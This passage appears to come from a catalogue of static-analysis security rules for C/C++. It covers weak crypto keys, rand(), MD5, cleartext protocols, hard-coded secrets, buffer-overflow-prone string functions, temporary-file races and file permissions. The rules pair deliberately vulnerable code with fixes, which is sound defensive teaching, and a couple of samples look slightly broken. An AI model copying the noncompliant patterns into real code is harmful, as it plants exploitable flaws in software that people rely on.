    Botan::DL_Group("dsa/botan/1024"); // Noncompliant
}

Here is an example of an Elliptic Curve (EC) initialization. It implicitly generates a private key whose size is indicated in the algorithm name:

#include <botan/ec_group.h>

void encrypt() {
    Botan::EC_Group("secp160k1"); // Noncompliant
}

Compliant solution

#include <botan/pubkey.h>
#include <botan/rng.h>
#include <botan/rsa.h>

void encrypt() {
    std::unique_ptr<Botan::RandomNumberGenerator>   rng(new Botan::System_RNG);
    Botan::RSA_PrivateKey                           rsaKey(*rng, 2048);
}

#include <botan/dl_group.h>

void encrypt() {
    Botan::DL_Group("dsa/botan/2048");
}

#include <botan/ec_group.h>

void encrypt() {
    Botan::EC_Group("secp224k1");
}

How does this work?

As a rule of thumb, use the cryptographic algorithms and mechanisms that are considered strong by the cryptographic community.

The appropriate choices are the following.

RSA (Rivest-Shamir-Adleman) and DSA (Digital Signature Algorithm)

The security of these algorithms depends on the difficulty of attacks attempting to solve their underlying mathematical problem.

In general, a minimum key size of 2048 bits is recommended for both.

AES (Advanced Encryption Standard)

AES supports three key sizes: 128 bits, 192 bits and 256 bits. The security of the AES algorithm is based on the computational complexity of trying all possible keys.
A larger key size increases the number of possible keys and makes exhaustive search attacks computationally infeasible. Therefore, a 256-bit key provides a higher level of security than a 128-bit or 192-bit key.

Currently, a minimum key size of 128 bits is recommended for AES.

Elliptic Curve Cryptography (ECC)

Elliptic curve cryptography is also used in various algorithms, such as ECDSA, ECDH, or ECMQV. The length of keys generated with elliptic curve algorithms are mentioned directly in their names. For example, secp256k1 generates a 256-bits long private key.

Currently, a minimum key size of 224 bits is recommended for EC algorithms.

Going the extra mile

Pre-Quantum Cryptography

Encrypted data and communications recorded today could be decrypted in the future by an attack from a quantum computer.
It is important to keep in mind that NIST-approved digital signature schemes, key agreement, and key transport may need to be replaced with secure quantum-resistant (or "post-quantum") counterpart.

Thus, if data is to remain secure beyond 2030, proactive measures should be taken now to ensure its safety.

Learn more here.

Resources

Articles & blog posts

• Microsoft, Timing vulnerabilities with CBC-mode symmetric decryption using padding
• Wikipedia, Padding Oracle Attack
• Wikipedia, Chosen-Ciphertext Attack
• Wikipedia, Chosen-Plaintext Attack
• Wikipedia, Semantically Secure Cryptosystems
• Wikipedia, OAEP
• Wikipedia, Galois/Counter Mode

Standards

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• Mobile AppSec Verification Standard - Cryptography Requirements
• OWASP Mobile Top 10 2016 Category M5 - Insufficient Cryptography
• NIST 800-131A - Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths* MITRE, CWE-326 - Inadequate Encryption Strength
• MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
• CERT, MSC61-J. - Do not use insecure or weak cryptographic algorithms

Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities:

• CVE-2013-6386
• CVE-2006-3419
• CVE-2008-4102

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

As the functions rely on a pseudorandom number generator, they should not be used for security-critical applications or for protecting sensitive data.

Ask Yourself Whether

• the code using the generated value requires it to be unpredictable. It is the case for all encryption mechanisms or when a secret value, such as a password, is hashed.
• the function you use generates a value which can be predicted (pseudo-random).
• the generated value is used multiple times.
• an attacker can access the generated value.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Use functions which rely on a strong random number generator such as randombytes_uniform() or randombytes_buf() from libsodium, or randomize() from Botan.
• Use the generated random values only once.
• You should not expose the generated random value. If you have to store it, make sure that the database or file is secure.

Sensitive Code Example

#include <random>
// ...

void f() {
  int random_int = std::rand(); // Sensitive
}

Compliant Solution

#include <sodium.h>
#include <botan/system_rng.h>
// ...

void f() {
  char random_chars[10];
  randombytes_buf(random_chars, 10); // Compliant
  uint32_t random_int = randombytes_uniform(10); // Compliant

  uint8_t random_chars[10];
  Botan::System_RNG system;
  system.randomize(random_chars, 10); // Compliant
}

See

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• Mobile AppSec Verification Standard - Cryptography Requirements
• OWASP Mobile Top 10 2016 Category M5 - Insufficient Cryptography
• MITRE, CWE-338 - Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
• MITRE, CWE-330 - Use of Insufficiently Random Values
• MITRE, CWE-326 - Inadequate Encryption Strength
• MITRE, CWE-1241 - Use of Predictable Algorithm in Random Number Generator
• CERT, MSC02-J. - Generate strong random numbers
• CERT, MSC30-C. - Do not use the rand() function for generating pseudorandom numbers
• CERT, MSC50-CPP. - Do not use std::rand() for generating pseudorandom numbers
• Derived from FindSecBugs rule Predictable Pseudo Random Number Generator

Cryptographic hash algorithms such as MD2, MD4, MD5, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160 and SHA-1 are no longer considered secure, because it is possible to have collisions (little computational effort is enough to find two or more different inputs that produce the same hash).

Ask Yourself Whether

The hashed value is used in a security context like:

• User-password storage.
• Security token generation (used to confirm e-mail when registering on a website, reset password, etc …​).
• To compute some message integrity.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Safer alternatives, such as SHA-256, SHA-512, SHA-3 are recommended, and for password hashing, it’s even better to use algorithms that do not compute too "quickly", like bcrypt, scrypt, argon2 or pbkdf2 because it slows down brute force attacks.

Sensitive Code Example

#include <botan/hash.h>
// ...

Botan::secure_vector<uint8_t> f(std::string input){
    std::unique_ptr<Botan::HashFunction> hash(Botan::HashFunction::create("MD5")); // Sensitive
    return hash->process(input);
}

Compliant Solution

#include <botan/hash.h>
// ...

Botan::secure_vector<uint8_t> f(std::string input){
    std::unique_ptr<Botan::HashFunction> hash(Botan::HashFunction::create("SHA-512")); // Compliant
    return hash->process(input);
}

See

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• Mobile AppSec Verification Standard - Cryptography Requirements
• OWASP Mobile Top 10 2016 Category M5 - Insufficient Cryptography
• MITRE, CWE-1240 - Use of a Risky Cryptographic Primitive
• SANS Top 25 - Porous Defenses

Clear-text protocols such as ftp, telnet, or http lack encryption of transported data, as well as the capability to build an authenticated connection. It means that an attacker able to sniff traffic from the network can read, modify, or corrupt the transported content. These protocols are not secure as they expose applications to an extensive range of risks:

• sensitive data exposure
• traffic redirected to a malicious endpoint
• malware-infected software update or installer
• execution of client-side code
• corruption of critical information

Even in the context of isolated networks like offline environments or segmented cloud environments, the insider threat exists. Thus, attacks involving communications being sniffed or tampered with can still happen.

For example, attackers could successfully compromise prior security layers by:

• bypassing isolation mechanisms
• compromising a component of the network
• getting the credentials of an internal IAM account (either from a service account or an actual person)

In such cases, encrypting communications would decrease the chances of attackers to successfully leak data or steal credentials from other network components. By layering various security practices (segmentation and encryption, for example), the application will follow the defense-in-depth principle.

Note that using the http protocol is being deprecated by major web browsers.

In the past, it has led to the following vulnerabilities:

• CVE-2019-6169
• CVE-2019-12327
• CVE-2019-11065

Ask Yourself Whether

• Application data needs to be protected against falsifications or leaks when transiting over the network.
• Application data transits over an untrusted network.
• Compliance rules require the service to encrypt data in transit.
• Your application renders web pages with a relaxed mixed content policy.
• OS-level protections against clear-text traffic are deactivated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Make application data transit over a secure, authenticated and encrypted protocol like TLS or SSH. Here are a few alternatives to the most common clear-text protocols:
  • Use ssh as an alternative to telnet.
  • Use sftp, scp, or ftps instead of ftp.
  • Use https instead of http.
  • Use SMTP over SSL/TLS or SMTP with STARTTLS instead of clear-text SMTP.
• Enable encryption of cloud components communications whenever it is possible.
• Configure your application to block mixed content when rendering web pages.
• If available, enforce OS-level deactivation of all clear-text traffic.

It is recommended to secure all transport channels, even on local networks, as it can take a single non-secure connection to compromise an entire application or system.

Sensitive Code Example

char* http_url = "http://example.com"; // Sensitive
char* ftp_url = "ftp://anonymous@example.com"; // Sensitive
char* telnet_url = "telnet://anonymous@example.com"; // Sensitive

#include <curl/curl.h>

CURL *curl_ftp = curl_easy_init();
curl_easy_setopt(curl_ftp, CURLOPT_URL, "ftp://example.com/"); // Sensitive

CURL *curl_smtp = curl_easy_init();
curl_easy_setopt(curl_smtp, CURLOPT_URL, "smtp://example.com:587"); // Sensitive

Compliant Solution

char* https_url = "https://example.com";
char* sftp_url = "sftp://anonymous@example.com";
char* ssh_url = "ssh://anonymous@example.com";

#include <curl/curl.h>

CURL *curl_ftps = curl_easy_init();
curl_easy_setopt(curl_ftps, CURLOPT_URL, "ftp://example.com/");
curl_easy_setopt(curl_ftps, CURLOPT_USE_SSL, CURLUSESSL_ALL); // FTP transport is done over TLS

CURL *curl_smtp_tls = curl_easy_init();
curl_easy_setopt(curl_smtp_tls, CURLOPT_URL, "smtp://example.com:587");
curl_easy_setopt(curl_smtp_tls, CURLOPT_USE_SSL, CURLUSESSL_ALL); // SMTP with STARTTLS

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

• Insecure protocol scheme followed by loopback addresses like 127.0.0.1 or localhost.

See

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• Mobile AppSec Verification Standard - Network Communication Requirements
• OWASP Mobile Top 10 2016 Category M3 - Insecure Communication
• MITRE, CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
• MITRE, CWE-319 - Cleartext Transmission of Sensitive Information
• Google, Moving towards more secure web
• Mozilla, Deprecating non secure http
• AWS Documentation - Listeners for your Application Load Balancers
• AWS Documentation - Stream Encryption

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

• CVE-2019-13466
• CVE-2018-15389

Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets.

This rule looks for hard-coded credentials in variable names that match any of the patterns from the provided list.

Ask Yourself Whether

• Credentials allow access to a sensitive component like a database, a file storage, an API or a service.
• Credentials are used in production environments.
• Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Store the credentials in a configuration file that is not pushed to the code repository.
• Store the credentials in a database.
• Use your cloud provider’s service for managing secrets.
• If a password has been disclosed through the source code: change it.

Sensitive Code Example

dbi_conn conn = dbi_conn_new("mysql");
string password = "secret"; // Sensitive
dbi_conn_set_option(conn, "password", password.c_str());

Compliant Solution

dbi_conn conn = dbi_conn_new("mysql");
string password = getDatabasePassword(); // Compliant
dbi_conn_set_option(conn, "password", password.c_str()); // Compliant

See

• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A2 - Broken Authentication
• MITRE, CWE-798 - Use of Hard-coded Credentials
• MITRE, CWE-259 - Use of Hard-coded Password
• CERT, MSC03-J. - Never hard code sensitive information
• SANS Top 25 - Porous Defenses
• Derived from FindSecBugs rule Hard Coded Password

Why is this an issue?

The compiler is generally allowed to remove code that does not have any effect, according to the abstract machine of the C language. This means that if you have a buffer that contains sensitive data (for instance passwords), calling memset on the buffer before releasing the memory will probably be optimized away.

The function memset_s behaves similarly to memset, but the main difference is that it cannot be optimized away, the memory will be overwritten in all cases. You should always use this function to scrub security-sensitive data.

This rule raises an issue when a call to memset is followed by the destruction of the buffer.

Note that memset_s is defined in annex K of C11, so to have access to it, you need a standard library that supports it (this can be tested with the macro __STDC_LIB_EXT1__), and you need to enable it by defining the macro __STDC_WANT_LIB_EXT1__ before including <string.h>. Other platform specific functions can perform the same operation, for instance SecureZeroMemory (Windows) or explicit_bzero (FreeBSD)

Noncompliant code example

void f(char *password, size_t bufferSize) {
  char localToken[256];
  init(localToken, password);
  memset(password, ' ', strlen(password)); // Noncompliant, password is about to be freed
  memset(localToken, ' ', strlen(localToken)); // Noncompliant, localToken is about to go out of scope
  free(password);
}

Compliant solution

void f(char *password, size_t bufferSize) {
  char localToken[256];
  init(localToken, password);
  memset_s(password, bufferSize, ' ', strlen(password));
  memset_s(localToken, sizeof(localToken), ' ', strlen(localToken));
  free(password);
}

Resources

• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• MITRE, CWE-14 - Compiler Removal of Code to Clear Buffers

Why is this an issue?

The %s placeholder is used to read a word into a string.

By default, there is no restriction on the length of that word, and the developer is required to pass a sufficiently large buffer for storing it.

No matter how large the buffer is, there will always be a longer word.

Therefore, programs relying on %s are vulnerable to buffer overflows.

A field width specifier can be used together with the %s placeholder to limit the number of bytes which will by written to the buffer.

Note that an additional byte is required to store the null terminator.

Noncompliant code example

char buffer[10];
scanf("%s", buffer);      // Noncompliant - will overflow when a word longer than 9 characters is entered

Compliant solution

char buffer[10];
scanf("%9s", buffer);     // Compliant - will not overflow

Resources

• OWASP Top 10 2017 Category A9 - Using Components with Known Vulnerabilities
• MITRE, CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
• MITRE, CWE-676 - Use of Potentially Dangerous Function
• SANS Top 25 - Risky Resource Management

Operating systems have global directories where any user has write access. Those folders are mostly used as temporary storage areas like /tmp in Linux based systems. An application manipulating files from these folders is exposed to race conditions on filenames: a malicious user can try to create a file with a predictable name before the application does. A successful attack can result in other files being accessed, modified, corrupted or deleted. This risk is even higher if the application runs with elevated permissions.

In the past, it has led to the following vulnerabilities:

• CVE-2012-2451
• CVE-2015-1838

This rule raises an issue whenever it detects a hard-coded path to a publicly writable directory like /tmp (see examples bellow). It also detects access to environment variables that point to publicly writable directories, e.g., TMP and TMPDIR.

• /tmp
• /var/tmp
• /usr/tmp
• /dev/shm
• /dev/mqueue
• /run/lock
• /var/run/lock
• /Library/Caches
• /Users/Shared
• /private/tmp
• /private/var/tmp
• \Windows\Temp
• \Temp
• \TMP

Ask Yourself Whether

• Files are read from or written into a publicly writable folder
• The application creates files with predictable names into a publicly writable folder

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Use a dedicated sub-folder with tightly controlled permissions
• Use secure-by-design APIs to create temporary files. Such API will make sure:
  • The generated filename is unpredictable
  • The file is readable and writable only by the creating user ID
  • The file descriptor is not inherited by child processes
  • The file will be destroyed as soon as it is closed

Sensitive Code Example

#include <cstdio>
// ...

void f() {
  FILE * fp = fopen("/tmp/temporary_file", "r"); // Sensitive
}

#include <cstdio>
#include <cstdlib>
#include <sstream>
// ...

void f() {
  std::stringstream ss;
  ss << getenv("TMPDIR") << "/temporary_file"; // Sensitive
  FILE * fp = fopen(ss.str().c_str(), "w");
}

Compliant Solution

#include <cstdio>
#include <cstdlib>
// ...

void f() {
  FILE * fp = tmpfile(); // Compliant
}

See

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A5 - Broken Access Control
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• MITRE, CWE-377 - Insecure Temporary File
• MITRE, CWE-379 - Creation of Temporary File in Directory with Incorrect Permissions
• OWASP, Insecure Temporary File

In Unix file system permissions, the "others" category refers to all users except the owner of the file system resource and the members of the group assigned to this resource.

Granting permissions to this category can lead to unintended access to files or directories that could allow attackers to obtain sensitive information, disrupt services or elevate privileges.

Ask Yourself Whether

• The application is designed to be run on a multi-user environment.
• Corresponding files and directories may contain confidential information.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

The most restrictive possible permissions should be assigned to files and directories.

Sensitive Code Example

When creating a file or directory with permissions to "other group":

open("myfile.txt", O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO); // Sensitive: the process set 777 permissions to this newly created file

mkdir("myfolder", S_IRWXU | S_IRWXG | S_IRWXO); // Sensitive: the process try to set 777 permissions to this newly created directory

When explicitly adding permissions to "other group" with chmod, fchmod or filesystem::permissions functions:

chmod("myfile.txt", S_IRWXU | S_IRWXG | S_IRWXO);  // Sensitive: the process set 777 permissions to this file

fchmod(fd, S_IRWXU | S_IRWXG | S_IRWXO); // Sensitive: the process set 777 permissions to this file descriptor

When defining the umask without read, write and execute permissions for "other group":

umask(S_IRWXU | S_IRWXG); // Sensitive: the further files and folders will be created with possible permissions to "other group"

Compliant Solution

When creating a file or directory, do not set permissions to "other group":

open("myfile.txt", O_CREAT, S_IRWXU | S_IRWXG); // Compliant

mkdir("myfolder", S_IRWXU | S_IRWXG); // Compliant

When using chmod, fchmod or filesystem::permissions functions, do not add permissions to "other group":

chmod("myfile.txt", S_IRWXU | S_IRWXG);  // Compliant

fchmod(fd, S_IRWXU | S_IRWXG); // Compliant

When defining the umask, set read, write and execute permissions to other group:

umask(S_IRWXO); // Compliant: further created files or directories will not have permissions set for "other group"

See

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2021 Category A4 - Insecure Design
• OWASP Top 10 2017 Category A5 - Broken Access Control
• OWASP File Permission
• MITRE, CWE-732 - Incorrect Permission Assignment for Critical Resource
• MITRE, CWE-266 - Incorrect Privilege Assignment
• CERT, FIO01-J. - Create files with appropriate access permissions
• CERT, FIO06-C. - Create files with appropriate access permissions
• SANS Top 25 - Porous Defenses

Why is this an issue?

When using typical C functions, it’s up to the developer to make sure the size of the buffer to be written to is large enough to avoid buffer overflows. Buffer overflows can cause the program to crash at a minimum. At worst, a carefully crafted overflow can cause malicious code to be executed.

This rule reports use of the following insecure functions, for which knowing the required size is not generally possible: gets() and getpw().

In such cases. The only way to prevent buffer overflow while using these functions would be to control the execution context of the application.

It is much safer to secure the application from within and to use an alternate, secure function which allows you to define the maximum number of characters to be written to the buffer:

• fgets or gets_s
• getpwuid

Noncompliant code example

gets(str); // Noncompliant; `str` buffer size is not checked and it is vulnerable to overflows

Compliant solution

gets_s(str, sizeof(str)); // Prevent overflows by enforcing a maximum size for `str` buffer

Resources

• OWASP Top 10 2017 Category A9 - Using Components with Known Vulnerabilities
• MITRE, CWE-676 - Use of Potentially Dangerous Function
• MITRE, CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer
• SANS Top 25 - Risky Resource Management

In C, a string is just a buffer of characters, normally using the null character as a sentinel for the end of the string. This means that the developer has to be aware of low-level details such as buffer sizes or having an extra character to store the final null character. Doing that correctly and consistently is notoriously difficult and any error can lead to a security vulnerability, for instance, giving access to sensitive data or allowing arbitrary code execution.

The function char *strcat( char *restrict dest, const char *restrict src ); appends the characters of string src at the end of dest. The wcscat does the same for wide characters and should be used with the same guidelines.

Note: the functions strncat and wcsncat might look like attractive safe replacements for strcat and wcscaty, but they have their own set of issues (see S5815), and you should probably prefer another more adapted alternative.

Ask Yourself Whether

• There is a possibility that either the src or the dest pointer is null
• The current string length of dest plus the current string length of src plus 1 (for the final null character) is larger than the size of the buffer pointer-to by src
• There is a possibility that either string is not correctly null-terminated

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• C11 provides, in its annex K, the strcat_s and the wcscat_s that were designed as safer alternatives to strcat and wcscat. It’s not recommended to use them in all circumstances, because they introduce a runtime overhead and require to write more code for error handling, but they perform checks that will limit the consequences of calling the function with bad arguments.
• Even if your compiler does not exactly support annex K, you probably have access to similar functions
• If you are writing C++ code, using std::string to manipulate strings is much simpler and less error-prone

Sensitive Code Example

int f(char *src) {
  char dest[256];
  strcpy(dest, "Result: ");
  strcat(dest, src); // Sensitive: might overflow
  return doSomethingWith(dest);
}

Compliant Solution

int f(char *src) {
  char result[] = "Result: ";
  char *dest = malloc(sizeof(result) + strlen(src)); // Not need of +1 for final 0 because sizeof will already count one 0
  strcpy(dest, result);
  strcat(dest, src); // Compliant: the buffer size was carefully crafted
  int r = doSomethingWith(dest);
  free(dest);
  return r;
}

See

• OWASP Top 10 2021 Category A6 - Vulnerable and Outdated Components
• OWASP Top 10 2017 Category A9 - Using Components with Known Vulnerabilities
• MITRE, CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
• CERT, STR07-C. - Use the bounds-checking interfaces for string manipulation

The function size_t strlen(const char *s) measures the length of the string s (excluding the final null character).
The function size_t wcslen(const wchar_t *s) does the same for wide characters, and should be used with the same guidelines.

Similarly to many other functions in the standard C libraries, strlen and wcslen assume that their argument is not a null pointer.

Additionally, they expect the strings to be null-terminated. For example, the 5-letter string "abcde" must be stored in memory as "abcde\0" (i.e. using 6 characters) to be processed correctly. When a string is missing the null character at the end, these functions will iterate past the end of the buffer, which is undefined behavior.

Therefore, string parameters must end with a proper null character. The absence of this particular character can lead to security vulnerabilities that allow, for example, access to sensitive data or the execution of arbitrary code.

Ask Yourself Whether

• There is a possibility that the pointer is null.
• There is a possibility that the string is not correctly null-terminated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Use safer functions. The C11 functions strlen_s and wcslen_s from annex K handle typical programming errors.
  Note, however, that they have a runtime overhead and require more code for error handling and therefore are not suited to every case.
• Even if your compiler does not exactly support annex K, you probably have access to similar functions.
• If you are writing C++ code, using std::string to manipulate strings is much simpler and less error-prone.

Sensitive Code Example

size_t f(char *src) {
  char dest[256];
  strncpy(dest, src, sizeof dest); // Truncation may happen
  return strlen(dest); // Sensitive: "dest" will not be null-terminated if truncation happened
}

Compliant Solution

size_t f(char *src) {
  char dest[256];
  strncpy(dest, src, sizeof dest); // Truncation may happen
  dest[sizeof dest - 1] = 0;
  return strlen(dest); // Compliant: "dest" is guaranteed to be null-terminated
}

See

• MITRE, CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
• CERT, STR07-C. - Use the bounds-checking interfaces for string manipulation

In C, a string is just a buffer of characters, normally using the null character as a sentinel for the end of the string. This means that the developer has to be aware of low-level details such as buffer sizes or having an extra character to store the final null character. Doing that correctly and consistently is notoriously difficult and any error can lead to a security vulnerability, for instance, giving access to sensitive data or allowing arbitrary code execution.

The function char *strncpy(char * restrict dest, const char * restrict src, size_t count); copies the first count characters from src to dest, stopping at the first null character, and filling extra space with 0. The wcsncpy does the same for wide characters and should be used with the same guidelines.

Both of those functions are designed to work with fixed-length strings and might result in a non-null-terminated string.

Ask Yourself Whether

• There is a possibility that either the source or the destination pointer is null
• The security of your system can be compromised if the destination is a truncated version of the source
• The source buffer can be both non-null-terminated and smaller than the count
• The destination buffer can be smaller than the count
• You expect dest to be a null-terminated string
• There is an overlap between the source and the destination

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• C11 provides, in its annex K, the strncpy_s and the wcsncpy_s that were designed as safer alternatives to strcpy and wcscpy. It’s not recommended to use them in all circumstances, because they introduce a runtime overhead and require to write more code for error handling, but they perform checks that will limit the consequences of calling the function with bad arguments.
• Even if your compiler does not exactly support annex K, you probably have access to similar functions
• If you are using strncpy and wsncpy as a safer version of strcpy and wcscpy, you should instead consider strcpy_s and wcscpy_s, because these functions have several shortcomings:
  • It’s not easy to detect truncation
  • Too much work is done to fill the buffer with 0, leading to suboptimal performance
  • Unless manually corrected, the dest string might not be null-terminated
• If you want to use strcpy and wcscpy functions and detect if the string was truncated, the pattern is the following:
  • Set the last character of the buffer to null
  • Call the function
  • Check if the last character of the buffer is still null
• If you are writing C++ code, using std::string to manipulate strings is much simpler and less error-prone

Sensitive Code Example

int f(char *src) {
  char dest[256];
  strncpy(dest, src, sizeof(dest)); // Sensitive: might silently truncate
  return doSomethingWith(dest);
}

Compliant Solution

int f(char *src) {
  char dest[256];
  dest[sizeof dest - 1] = 0;
  strncpy(dest, src, sizeof(dest)); // Compliant
  if (dest[sizeof dest - 1] != 0) {
    // Handle error
  }
  return doSomethingWith(dest);
}

See

• OWASP Top 10 2021 Category A6 - Vulnerable and Outdated Components
• OWASP Top 10 2017 Category A9 - Using Components with Known Vulnerabilities
• MITRE, CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
• CERT, STR07-C. - Use the bounds-checking interfaces for string manipulation

In C, a string is just a buffer of characters, normally using the null character as a sentinel for the end of the string. This means that the developer has to be aware of low-level details such as buffer sizes or having an extra character to store the final null character. Doing that correctly and consistently is notoriously difficult and any error can lead to a security vulnerability, for instance, giving access to sensitive data or allowing arbitrary code execution.

The function char *strncat( char *restrict dest, const char *restrict src, size_t count ); appends the characters of string src at the end of dest, but only add count characters max. dest will always be null-terminated. The wcsncat does the same for wide characters, and should be used with the same guidelines.

Ask Yourself Whether

• There is a possibility that either the src or the dest pointer is null
• The current string length of dest plus the current string length of src plus 1 (for the final null character) is larger than the size of the buffer pointer-to by src
• There is a possibility that either string is not correctly null-terminated

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• C11 provides, in its annex K, the strncat_s and the wcsncat_s that were designed as safer alternatives to strncat and wcsncat. It’s not recommended to use them in all circumstances because they introduce a runtime overhead and require to write more code for error handling, but they perform checks that will limit the consequences of calling the function with bad arguments.
• Even if your compiler does not exactly support annex K, you probably have access to similar functions
• If you are using strncat and wsncat as a safer version of strcat and wcscat, you should instead consider strcat_s and wcscat_s because these functions have several shortcomings:
  • It’s not easy to detect truncation
  • The count parameter is error-prone
  • Computing the count parameter typically requires computing the string length of dest, at which point other simpler alternatives exist

Sensitive Code Example

int f(char *src) {
  char dest[256];
  strcpy(dest, "Result: ");
  strncat(dest, src, sizeof dest); // Sensitive: passing the buffer size instead of the remaining size
  return doSomethingWith(dest);
}

Compliant Solution

int f(char *src) {
  char result[] = "Result: ";
  char dest[256];
  strcpy(dest, result);
  strncat(dest, src, sizeof dest - sizeof result); // Compliant but may silently truncate
  return doSomethingWith(dest);
}

See

• OWASP Top 10 2021 Category A6 - Vulnerable and Outdated Components
• OWASP Top 10 2017 Category A9 - Using Components with Known Vulnerabilities
• MITRE, CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
• CERT, STR07-C. - Use the bounds-checking interfaces for string manipulation

The functions "tmpnam", "tmpnam_s" and "tmpnam_r" are all used to return a file name that does not match an existing file, in order for the application to create a temporary file. However, even if the file did not exist at the time those functions were called, it might exist by the time the application tries to use the file name to create the files. This has been used by hackers to gain access to files that the application believed were trustworthy.

There are alternative functions that, in addition to creating a suitable file name, create and open the file and return the file handler. Such functions are protected from this attack vector and should be preferred. About the only reason to use these functions would be to create a temporary folder, not a temporary file.

Additionally, these functions might not be thread-safe, and if you don’t provide them buffers of sufficient size, you will have a buffer overflow.

Ask Yourself Whether

• There is a possibility that several threads call any of these functions simultaneously
• There is a possibility that the resulting file is opened without forcing its creation, meaning that it might have unexpected access rights
• The buffers passed to these functions are respectively smaller than
  • L_tmpnam for tmpnam
  • L_tmpnam_s for tmpnam_s
  • L_tmpnam for tmpnam_r

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Use a function that directly opens the temporary file, such a tmpfile, tmpfile_s, mkstemp or mkstemps (the last two allow more accurate control of the file name).
• If you can’t get rid of these functions, when using the generated name to open the file, use a function that forces the creation of the file and fails if the file already exists.

Sensitive Code Example

int f(char *tempData) {
  char *path = tmpnam(NULL); // Sensitive
  FILE* f = fopen(tmpnam, "w");
  fputs(tempData, f);
  fclose(f);
}

Compliant Solution

int f(char *tempData) {
  // The file will be opened in "wb+" mode, and will be automatically removed on normal program exit
  FILE* f = tmpfile(); // Compliant
  fputs(tempData, f);
  fclose(f);
}

See

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2021 Category A6 - Vulnerable and Outdated Components
• OWASP Top 10 2017 Category A9 - Using Components with Known Vulnerabilities
• MITRE, CWE-377 - Insecure Temporary File
• CERT, CON33-C. - Avoid race conditions when using library functions
• CERT, FIO21-C. - Do not create temporary files in shared directories

Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2006-5901
• CVE-2005-3725

Today’s services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery, and deployment:

• The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.
• It misleads to use the same address in every environment (dev, sys, qa, prod).

Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service, try to get access to the system, or try to spoof the IP address to bypass security checks. Such attacks can always be possible, but in the case of a hardcoded IP address solving the issue will take more time, which will increase an attack’s impact.

Ask Yourself Whether

The disclosed IP address is sensitive, e.g.:

• Can give information to an attacker about the network topology.
• It’s a personal (assigned to an identifiable person) IP address.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

Don’t hard-code the IP address in the source code, instead make it configurable with environment variables, configuration files, or a similar approach. Alternatively, if confidentially is not required a domain name can be used since it allows to change the destination quickly without having to rebuild the software.

Sensitive Code Example

dbi_conn conn = dbi_conn_new("mysql");
string host = "10.10.0.1"; // Sensitive
dbi_conn_set_option(conn, "host", host.c_str());
dbi_conn_set_option(conn, "host", "10.10.0.1"); // Sensitive

Compliant Solution

dbi_conn conn = dbi_conn_new("mysql");
string host = getDatabaseHost(); // Compliant
dbi_conn_set_option(conn, "host", host.c_str()); // Compliant

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

• Loopback addresses 127.0.0.0/8 in CIDR notation (from 127.0.0.0 to 127.255.255.255)
• Broadcast address 255.255.255.255
• Non-routable address 0.0.0.0
• Strings of the form 2.5.<number>.<number> as they often match Object Identifiers (OID)
• Addresses in the ranges 192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24, reserved for documentation purposes by RFC 5737
• Addresses in the range 2001:db8::/32, reserved for documentation purposes by RFC 3849

See

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• CERT, MSC03-J. - Never hard code sensitive information

